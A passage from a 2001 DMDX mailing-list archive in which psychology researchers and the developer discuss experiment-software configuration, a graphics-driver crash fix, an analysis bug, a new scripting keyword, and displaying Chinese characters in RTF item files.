on an item, the data from this trial is discarded. # this option can be turned off either by deleting the above line, or # by inserting # at the beginning of the line, e.g., #discard_display_errors subject_rejection: 20 # subjects making 20% errors over all items being analyzed are rejected data_threshold: 2.0 # any RTs more than 2.0 S.D. units away from the overall mean RT for each subject # will be trimmed, either by setting it equal to the cutoff value (the default), # or by exclusion (see next option). data_rejection # any RTs selected by the data_threshold are excluded. low_cutoff: 200 # RTs faster than 200 ms will be discarded #rt_width: 7 #rt_precision: 1 # specifies the output format of the .das file. rt_width is the number of # columns (default 5), and rt_precision is the number of decimals (default 0). #analyze_incorrect_responses # use this if you want to analyze only the incorrect responses. # now follows the item assignments. condition: 1 name: c1 description: low N target SN+ prime items: 1-9 11 12 # items 1 to 9, 11, and 12. condition: 2 name: c2 description: low N SN- items:14-16 18 19-26 condition: 3 name: c3 description: unrelated items: 27-39 Example of .cat file -------------------- # comment title: low density targets # this will appear on the .ism and .das file #rt_width: 7 #rt_precision: 1 # as in the .spc file dasfile: exp1a.das subject: 1-3 # the first three columns of the output will list the subject means for the first # three conditions of the file ""exp1a.das"". dasfile: exp1b.das subject: 1-3 # columns 4-6 will have conditions 1-3 of exp1b.das # the above will generate a matrix with N rows (equal to the number of subjects) # and 6 columns, corresponding to the conditions specified above. It will also # do the same for error rates. dasfile: exp1a.das item: 1 dasfile: exp1b.das item:2 # this asks for item means. First column will be item means for condition 1 # in file exp1a.das, and the next column will be item means for condition 2 # in file exp1b.das (i.e., a counterbalanced design). dasfile: exp1b.das item: 1 dasfile: exp1a.das item:2 # same as above, except reversed. >From DMDX-owner@psy1.psych.arizona.edu Thu Sep 13 11:17:46 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA29314 for ; Thu, 13 Sep 2001 11:17:09 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.071) id 3B96CDBF000C0DBD for DMDX@psy1.psych.arizona.edu; Thu, 13 Sep 2001 11:17:08 -0700 Message-Id: <5.1.0.14.2.20010913111454.009ec300@psy1.psych.arizona.edu> Date: Thu, 13 Sep 2001 11:17:08 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] DMDX Utils Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Oops, just realized I hadn't updated DMDXUTILS.ZIP with the latest binaries that I sent to Ken that have the Copy button in the help. If you downloaded them you probably want to download them again. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Always do right. This will gratify some people, and astonish the rest. - Mark Twain ""To the Young People's Society, Greenpoint Presbyterian Church Brooklyn"" >From DMDX-owner@psy1.psych.arizona.edu Fri Sep 21 04:33:41 2001 Received: from snowdrop.csv.warwick.ac.uk (root@snowdrop.csv.warwick.ac.uk [137.205.192.31]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id EAA18188 for ; Fri, 21 Sep 2001 04:33:05 -0700 Received: from pansy.csv.warwick.ac.uk (root@pansy [137.205.192.19]) by snowdrop.csv.warwick.ac.uk (8.11.6/8.11.6) with ESMTP id f8LBX4325783 for ; Fri, 21 Sep 2001 12:33:04 +0100 (BST) Received: from csv.warwick.ac.uk (ntps27 [137.205.47.66]) by pansy.csv.warwick.ac.uk (8.11.6/8.11.6) with ESMTP id f8LBX3X19699 for ; Fri, 21 Sep 2001 12:33:04 +0100 (BST) Message-ID: <3BAB256C.A64F4BBE@csv.warwick.ac.uk> Date: Fri, 21 Sep 2001 12:33:00 +0100 From: Ms K Khan MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] dmdx crash Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Can anyone help me. I'm trying to run DMDX for the first time on a Pentium 3, 1 GHz, Win98 OS, with 256 MB RAM. I've tested all components with TimeDX, however, when attempted to run a .rtf demo - it displays the initial instruction screens and then crashes when stimuli is displayed. I have tried this several times using different files. Is this a problem because I am using a GeForce2Ultra driver? What can I do and are there any possible ways to overcome this problem, else I can't move on any further. thanks Kay. >From DMDX-owner@psy1.psych.arizona.edu Fri Sep 21 06:05:25 2001 Received: from csl.psychol.cam.ac.uk (csl.psychol.cam.ac.uk [131.111.177.90]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id GAA18469 for ; Fri, 21 Sep 2001 06:05:08 -0700 Received: from sneezy (sneezy.psychol.cam.ac.uk [131.111.190.52]) by csl.psychol.cam.ac.uk (8.10.0/8.10.0) with SMTP id f8LCx3L11615 for ; Fri, 21 Sep 2001 13:59:03 +0100 (BST) Message-Id: <3.0.6.32.20010921140452.0091e160@csl.psychol.cam.ac.uk> Date: Fri, 21 Sep 2001 14:04:52 +0100 To: DMDX@psy1.psych.arizona.edu From: saamah abdallah Subject: [DMDX] VOX key Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, I'm trying to run an experiment where trial n+1 begins as soon as there has been a response for trial n. This wouldn't be a problem except I'm using voice input, and, according to the DMDX Help File, using the Vox key means test items are presented until time out and never for a shorter period. Has anybody found any solution to this problem? I presume it isn't the first time it's come up. Many thanks, Sam >From DMDX-owner@psy1.psych.arizona.edu Fri Sep 21 09:31:05 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA18953 for ; Fri, 21 Sep 2001 09:30:42 -0700 Received: (qmail 16137 invoked from network); 21 Sep 2001 16:30:38 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.16) by breaker.dakotacom.net with SMTP; 21 Sep 2001 16:30:38 -0000 Message-Id: <5.1.0.14.2.20010921092147.009f45e0@psy1.psych.arizona.edu> Date: Fri, 21 Sep 2001 09:30:23 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: dmdx crash In-Reply-To: <3BAB256C.A64F4BBE@csv.warwick.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:33 PM 9/21/01 +0100, you wrote: >Can anyone help me. I'm trying to run DMDX for the first time on a >Pentium 3, 1 GHz, Win98 OS, with 256 MB RAM. I've tested all components >with TimeDX, however, when attempted to run a .rtf demo - it displays >the initial instruction screens and then crashes when stimuli is >displayed. I have tried this several times using different files. Is >this a problem because I am using a GeForce2Ultra driver? >What can I do and are there any possible ways to overcome this problem, >else I can't move on any further. Yep, it's the GeForce drivers. It's not so much that they're crap it's that NVIDIA refuse to make them work with DMDX. The solution is to reduce the number of back buffers that DMDX uses to 4 with the -buffers command line option. Edit the target of a shortcut to DMDX so it changes from: C:\\DmDX\\dmdx.exe to: C:\\DmDX\\dmdx.exe -buffers 4 Unless you are performing the most demanding of DMDX tasks you should be fine. If you notice that there are display errors you'll probably want to halve the number of line to blit at once in TimeDX for each video mode but I doubt it, blitters are incredibly fast these days. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If A = B and B = C, then A = C, except where void or prohibited by law. - Roy Santoro >From DMDX-owner@psy1.psych.arizona.edu Fri Sep 21 09:32:01 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA18981 for ; Fri, 21 Sep 2001 09:31:55 -0700 Received: (qmail 16827 invoked from network); 21 Sep 2001 16:31:50 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.16) by breaker.dakotacom.net with SMTP; 21 Sep 2001 16:31:50 -0000 Message-Id: <5.1.0.14.2.20010921093104.009e5ec0@psy1.psych.arizona.edu> Date: Fri, 21 Sep 2001 09:31:36 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: VOX key In-Reply-To: <3.0.6.32.20010921140452.0091e160@csl.psychol.cam.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 02:04 PM 9/21/01 +0100, you wrote: >Hi, > >I'm trying to run an experiment where trial n+1 begins as soon as there has >been a response for trial n. This wouldn't be a problem except I'm using >voice input, and, according to the DMDX Help File, using the Vox key means >test items are presented until time out and never for a shorter period. > >Has anybody found any solution to this problem? I presume it isn't the >first time it's come up. If I recall that limitation is only present if you are also using the RecordVocal device. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If A = B and B = C, then A = C, except where void or prohibited by law. - Roy Santoro >From DMDX-owner@psy1.psych.arizona.edu Mon Sep 24 12:46:50 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA27224 for ; Mon, 24 Sep 2001 12:46:17 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.071) id 3BA76B470009F9F3 for DMDX@psy1.psych.arizona.edu; Mon, 24 Sep 2001 12:46:15 -0700 Message-Id: <5.1.0.14.2.20010924123948.009e9790@psy1.psych.arizona.edu> Date: Mon, 24 Sep 2001 12:46:16 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] ANALYZE alert Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I'm seeing some pretty scary behavior out of ANALYZE.EXE incase anyone except us has started using it. The program generates good results the first time it's run, but it would appear that the second time the program analyzes something without exiting after it's already analyzed one data set there's something really wrong with it. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ For my birthday I got a humidifier and a dehumidifier. I put them in the same room and let them fight it out. - Stephen Wright >From DMDX-owner@psy1.psych.arizona.edu Mon Sep 24 14:56:19 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA27502 for ; Mon, 24 Sep 2001 14:54:45 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.071) id 3BA874A00008709B for DMDX@psy1.psych.arizona.edu; Mon, 24 Sep 2001 14:54:46 -0700 Message-Id: <5.1.0.14.2.20010924144902.009e80e0@psy1.psych.arizona.edu> Date: Mon, 24 Sep 2001 14:54:44 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] ANALYZE 1.07 (fixed) Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Found the error in ANALYZE.EXE and it's fixed in 1.07. It had to do with missing data points, if you have item files that always have all items in them (no conditional branching) I can't see that you would have experienced problems. If you had a missing data point and you used ANALYZE a second time without exiting those data points could be un-initialized -- the catch 22 was that they looked like they actually had zeros in them, it wasn't until you examined the hexadecimal data that you could see they weren't zero. The archive is updated. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ For my birthday I got a humidifier and a dehumidifier. I put them in the same room and let them fight it out. - Stephen Wright >From DMDX-owner@psy1.psych.arizona.edu Mon Oct 1 17:36:34 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id RAA13949 for ; Mon, 1 Oct 2001 17:33:16 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.071) id 3BA874A000144418 for DMDX@psy1.psych.arizona.edu; Mon, 1 Oct 2001 17:33:15 -0700 Message-Id: <5.1.0.14.2.20011001172431.009e58e0@psy1.psych.arizona.edu> Date: Mon, 01 Oct 2001 17:33:16 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] DMDX 2.5.00 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a big update as it adds a new CR and futzes with some pretty low level mechanics. While I've tested it I can't test everything (or won't, put it that way, this is why DMDX is free), people might want to keep a copy of their existing DMDX.EXE just in case I screwed something up. This is something I've been wanting to add for some time now and the recent error rate reporting solution was enough impetus to finally sit down and do it. Skip Display Keyword Special CR equivalant: ~ This keyword and CR indicator is provided to facilitate the branching and subroutine abilities and it is designed to be used in either dummy items for branch destinations or decision making items in subroutines. When is present in an item there are several effects, the first of which being that that item's frames are not passed to the drawing or display routines, after it is parsed those proto-frames are discarded. The second effect is that the item automatically continues to the next item (unless there's some branching in there), the same as the keyword would. The third effect is that the request time for the previous item is left as the request time for this item allowing the keyword to be used across items with branches in them. Also, preparation times are not reported for items and when used as a CR indicator at the start of an item the item is not printed in the diagnostics (both of which can save considerable time). While d0!%0c has much the same effect as there are several Sleep() calls between items and within frames that would typically add up to 10 milliseconds plus two or three sevenths of the retrace duration per item that are designed to allow any operating system activity that might be pending to proceed at a known safe time instead of in the middle of a time critical display, bypasses these. While 15 milliseconds might not matter most of the time as the demands placed on DMDX get more complex over time I am personally writing subroutines that have more and decisions in them and in extreme cases might want 100 decisions which would take 1.5 seconds to parse with d0!%0c whereas using results in something like 100 milliseconds (less when used as CR). And there's no way that d0!%0c can cope with things like fMRI scripts that require absolutely constant ISIs, at the very least d2!%0c would have to be used. For example the branching example could be re-written: f20 0 ""Acoustic Feedback Example"" ; 10 ; 0 d20 ""correct"" ; 20 ; 0 d20 ""wrong"" ; 30 d20 ""noresponse"" ; +100 * ""target"" / c; +110 * ""target"" / c; A more strenuous example might be the case of displaying the subjects error rate. Because DMDX can't actually display a counter as a stimulus one to has to have an item for each possible error rate: f20 0 ""ErrorRate Feedback Example"" ; ~111 ; 0 ""Error Rate 0%"" / ; ~1 ; 0 ""Error Rate 1%"" / ; ~2 ; 0 ""Error Rate 2%"" / ; ~3 ; 0 ""Error Rate 3%"" / ; ~4 ; 0 ""Error Rate 4%"" / ; ~5 ; 0 ""Error Rate 5%"" / ; ~6 ; 0 ""Error Rate 6%"" / ; ~7 ; 0 ""Error Rate 7%"" / ; ~8 ; 0 ""Error Rate 8%"" / ; ~9 ; 0 ""Error Rate 9%"" / ; ~10 ; 0 ""Error Rate 10%"" / ; ~11 ; 0 ""Error Rate 11%"" / ; ~12 ; 0 ""Error Rate 12%"" / ; ~13 ; 0 ""Error Rate 13%"" / ; ~14 ; 0 ""Error Rate 14%"" / ; ~15 ; 0 ""Error Rate 15%"" / ; ~16 ; 0 ""Error Rate 16%"" / ; ~17 ; 0 ""Error Rate 17%"" / ; ~18 ; 0 ""Error Rate 18%"" / ; ~19 ; 0 ""Error Rate 19%"" / ; ~20 ; 0 ""Error Rate 20%"" / ; ~21 ; 0 ""Error Rate 21%"" / ; ~22 ; 0 ""Error Rate 22%"" / ; ~23 ; 0 ""Error Rate 23%"" / ; ~24 ; 0 ""Error Rate 24%"" / ; ~25 ; 0 ""Error Rate 25%"" / ; ~26 ; 0 ""Error Rate 26%"" / ; ~27 ; 0 ""Error Rate 27%"" / ; ~28 ; 0 ""Error Rate 28%"" / ; ~29 ; 0 ""Error Rate 29%"" / ; ~30 ; 0 ""Error Rate 30%"" / ; ~31 ; 0 ""Error Rate 31%"" / ; ~32 ; 0 ""Error Rate 32%"" / ; ~33 ; 0 ""Error Rate 33%"" / ; ~34 ; 0 ""Error Rate 34%"" / ; ~35 ; 0 ""Error Rate 35%"" / ; ~36 ; 0 ""Error Rate 36%"" / ; ~37 ; 0 ""Error Rate 37%"" / ; ~38 ; 0 ""Error Rate 38%"" / ; ~39 ; 0 ""Error Rate 39%"" / ; ~40 ; 0 ""Error Rate 40%"" / ; ~41 ; 0 ""Error Rate 41%"" / ; ~42 ; 0 ""Error Rate 42%"" / ; ~43 ; 0 ""Error Rate 43%"" / ; ~44 ; 0 ""Error Rate 44%"" / ; ~45 ; 0 ""Error Rate 45%"" / ; ~46 ; 0 ""Error Rate 46%"" / ; ~47 ; 0 ""Error Rate 47%"" / ; ~48 ; 0 ""Error Rate 48%"" / ; ~49 ; 0 ""Error Rate 49%"" / ; ~50 ; 0 ""Error Rate 50%"" / ; ~51 ; 0 ""Error Rate 51%"" / ; ~52 ; 0 ""Error Rate 52%"" / ; ~53 ; 0 ""Error Rate 53%"" / ; ~54 ; 0 ""Error Rate 54%"" / ; ~55 ; 0 ""Error Rate 55%"" / ; ~56 ; 0 ""Error Rate 56%"" / ; ~57 ; 0 ""Error Rate 57%"" / ; ~58 ; 0 ""Error Rate 58%"" / ; ~59 ; 0 ""Error Rate 59%"" / ; ~60 ; 0 ""Error Rate 60%"" / ; ~61 ; 0 ""Error Rate 61%"" / ; ~62 ; 0 ""Error Rate 62%"" / ; ~63 ; 0 ""Error Rate 63%"" / ; ~64 ; 0 ""Error Rate 64%"" / ; ~65 ; 0 ""Error Rate 65%"" / ; ~66 ; 0 ""Error Rate 66%"" / ; ~67 ; 0 ""Error Rate 67%"" / ; ~68 ; 0 ""Error Rate 68%"" / ; ~69 ; 0 ""Error Rate 69%"" / ; ~70 ; 0 ""Error Rate 70%"" / ; ~71 ; 0 ""Error Rate 71%"" / ; ~72 ; 0 ""Error Rate 72%"" / ; ~73 ; 0 ""Error Rate 73%"" / ; ~74 ; 0 ""Error Rate 74%"" / ; ~75 ; 0 ""Error Rate 75%"" / ; ~76 ; 0 ""Error Rate 76%"" / ; ~77 ; 0 ""Error Rate 77%"" / ; ~78 ; 0 ""Error Rate 78%"" / ; ~79 ; 0 ""Error Rate 79%"" / ; ~80 ; 0 ""Error Rate 80%"" / ; ~81 ; 0 ""Error Rate 81%"" / ; ~82 ; 0 ""Error Rate 82%"" / ; ~83 ; 0 ""Error Rate 83%"" / ; ~84 ; 0 ""Error Rate 84%"" / ; ~85 ; 0 ""Error Rate 85%"" / ; ~86 ; 0 ""Error Rate 86%"" / ; ~87 ; 0 ""Error Rate 87%"" / ; ~88 ; 0 ""Error Rate 88%"" / ; ~89 ; 0 ""Error Rate 89%"" / ; ~90 ; 0 ""Error Rate 90%"" / ; ~91 ; 0 ""Error Rate 91%"" / ; ~92 ; 0 ""Error Rate 92%"" / ; ~93 ; 0 ""Error Rate 93%"" / ; ~94 ; 0 ""Error Rate 94%"" / ; ~95 ; 0 ""Error Rate 95%"" / ; ~96 ; 0 ""Error Rate 96%"" / ; ~97 ; 0 ""Error Rate 97%"" / ; ~98 ; 0 ""Error Rate 98%"" / ; ~99 ; 0 ""Error Rate 99%"" / ; 100 ""Error Rate 100%"" / ; +1000 * ""target""; +1000 * ""target""; +2000 c; -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is easier to get forgiveness than permission. >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 3 12:23:20 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA19183 for ; Wed, 3 Oct 2001 12:22:47 -0700 Received: from c40 (128.196.93.33) by deimos.email.Arizona.EDU (5.1.056) id 3BBA1C0C0001EA93 for DMDX@psy1.psych.arizona.edu; Wed, 3 Oct 2001 12:22:45 -0700 Message-ID: <000901c14c40$743da720$215dc480@cog.arizona.edu> From: ""Matthew Finkbeiner"" To: References: <5.1.0.14.2.20011001172431.009e58e0@psy1.psych.arizona.edu> Subject: [DMDX] Chinese with Eng. Win98? Date: Wed, 3 Oct 2001 12:20:24 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I seem to remember someone asking about using Chinese characters with an English version of Win98 on DMDX, but can't find it in the archive. Is this possible? I can display characters fine in .rtf files, but DMDX won't run the files. Is there a quick way around this? Or am I making .gif files for the next couple of days? Matthew >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 3 12:43:07 2001 Received: from groupwise1.duc.auburn.edu (groupwise1.duc.auburn.edu [131.204.2.92]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA19308 for ; Wed, 3 Oct 2001 12:42:59 -0700 Received: from Auburn-MTA by groupwise1.duc.auburn.edu with Novell_GroupWise; Wed, 03 Oct 2001 14:42:53 -0500 Message-Id: Date: Wed, 03 Oct 2001 14:42:50 -0500 From: ""Nan Jiang"" To: , Subject: [DMDX] Re: Chinese with Eng. Win98? Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi Matthew, Try and install a Chinese viewer program such as njwin (available for free trial at http://www.njstar.com). Run the program before you start DMDX (you should see the Chinese character ""nan"" at the bottom when njwin is open). Let me know if you have any problem. I also described all the procedures in an Email message to Ken a long time ago. Best, *************************************************** Nan Jiang, Ph.D. Assistant Professor Department of English Auburn University Auburn, AL 36849 (334) 844-9070 jiangna@auburn.edu http://www.auburn.edu/~jiangna *************************************************** >>> msf@u.arizona.edu 10/03 2:20 PM >>> I seem to remember someone asking about using Chinese characters with an English version of Win98 on DMDX, but can't find it in the archive. Is this possible? I can display characters fine in .rtf files, but DMDX won't run the files. Is there a quick way around this? Or am I making .gif files for the next couple of days? Matthew ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 3 16:01:05 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id QAA19772 for ; Wed, 3 Oct 2001 16:00:53 -0700 Received: from c40 (128.196.93.33) by deimos.email.Arizona.EDU (5.1.056) id 3BBA1C0C00026654 for DMDX@psy1.psych.arizona.edu; Wed, 3 Oct 2001 16:00:52 -0700 Message-ID: <005401c14c5e$ea772c40$215dc480@cog.arizona.edu> From: ""Matthew Finkbeiner"" To: References: Subject: [DMDX] Re: Chinese with Eng. Win98? Date: Wed, 3 Oct 2001 15:58:28 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hello! Thanks for the link. I gave it a shot and it got DMDX to run the item file, but, unfortunately, when DMDX runs it replaces all my characters (Kanji) with question marks and saves it to the item file! Ughh. Don't know how to get around this one. Take care. Any suggestions much appreciated! Matthew ----- Original Message ----- From: ""Nan Jiang"" To: ; Sent: Wednesday, October 03, 2001 12:42 PM Subject: [DMDX] Re: Chinese with Eng. Win98? > Hi Matthew, > Try and install a Chinese viewer program such as njwin (available > for free trial at http://www.njstar.com). Run the program before you > start DMDX (you should see the Chinese character ""nan"" at the bottom > when njwin is open). Let me know if you have any problem. I also > described all the procedures in an Email message to Ken a long time > ago. > > Best, > > > > *************************************************** > Nan Jiang, Ph.D. > Assistant Professor > Department of English > Auburn University > Auburn, AL 36849 > (334) 844-9070 > jiangna@auburn.edu > http://www.auburn.edu/~jiangna > *************************************************** > > >>> msf@u.arizona.edu 10/03 2:20 PM >>> > I seem to remember someone asking about using Chinese characters with > an > English version of Win98 on DMDX, but can't find it in the archive. Is > this > possible? I can display characters fine in .rtf files, but DMDX won't > run > the files. Is there a quick way around this? Or am I making .gif > files for > the next couple of days? > > Matthew > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 3 16:31:31 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id QAA19919 for ; Wed, 3 Oct 2001 16:31:24 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3BBA1C0C00027688 for DMDX@psy1.psych.arizona.edu; Wed, 3 Oct 2001 16:31:23 -0700 Message-Id: <5.1.0.14.2.20011003163055.00a09c50@psy1.psych.arizona.edu> Date: Wed, 03 Oct 2001 16:31:25 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Chinese with Eng. Win98? In-Reply-To: <000901c14c40$743da720$215dc480@cog.arizona.edu> References: <5.1.0.14.2.20011001172431.009e58e0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:20 PM 10/3/01 -0700, you wrote: >I seem to remember someone asking about using Chinese characters with an >English version of Win98 on DMDX, but can't find it in the archive. Is this >possible? I can display characters fine in .rtf files, but DMDX won't run >the files. Is there a quick way around this? Or am I making .gif files for >the next couple of days? How does DMDX not run the file? Any error messages? -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is easier to get forgiveness than permission. >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 3 17:01:51 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id RAA20064 for ; Wed, 3 Oct 2001 17:01:39 -0700 Received: from c40 (128.196.93.33) by deimos.email.Arizona.EDU (5.1.056) id 3BBA1C0C00028634 for DMDX@psy1.psych.arizona.edu; Wed, 3 Oct 2001 17:01:38 -0700 Message-ID: <000d01c14c67$66d71a40$215dc480@cog.arizona.edu> From: ""Matthew Finkbeiner"" To: References: <5.1.0.14.2.20011001172431.009e58e0@psy1.psych.arizona.edu> <5.1.0.14.2.20011003163055.00a09c50@psy1.psych.arizona.edu> Subject: [DMDX] Re: Chinese with Eng. Win98? Date: Wed, 3 Oct 2001 16:59:13 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list > How does DMDX not run the file? Any error messages? > right, sorry, should have been more specific. it reports ""unknown RTF control"". When I use the option to ignore these, it replaces my Kanji characters with question marks in the display, and, quite surprisingly, it appears to be replacing the characters with question marks in the .rtf item file itself. Matthew >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 3 18:19:48 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id SAA20239 for ; Wed, 3 Oct 2001 18:19:35 -0700 Received: (qmail 1700 invoked from network); 4 Oct 2001 01:19:32 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.16) by breaker.dakotacom.net with SMTP; 4 Oct 2001 01:19:32 -0000 Message-Id: <5.1.0.14.2.20011003181155.009e7ca0@psy1.psych.arizona.edu> Date: Wed, 03 Oct 2001 18:20:54 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Chinese with Eng. Win98? In-Reply-To: <000d01c14c67$66d71a40$215dc480@cog.arizona.edu> References: <5.1.0.14.2.20011001172431.009e58e0@psy1.psych.arizona.edu> <5.1.0.14.2.20011003163055.00a09c50@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:59 PM 10/3/01 -0700, you wrote: > > How does DMDX not run the file? Any error messages? > > >right, sorry, should have been more specific. it reports ""unknown RTF >control"". When I use the option to ignore these, it replaces my Kanji >characters with question marks in the display, and, quite surprisingly, it >appears to be replacing the characters with question marks in the .rtf item >file itself. Well, DMDX doesn't have the ability to edit an RTF file so it must be some spectacular side effect. In any event if Word 2000 is being used to produce the file it leaves about million stupid meaningless RTF control words in a file so modifying DMDX to correctly parse it's output is something I'd rather not do, if you have an earlier version of Word open and save the file in that and see if the problem goes away. If you don't have one I have several old versions, and it would appear that you can happily have multiple versions installed on one machine. If using an older version of Word just for DMDX is too much of 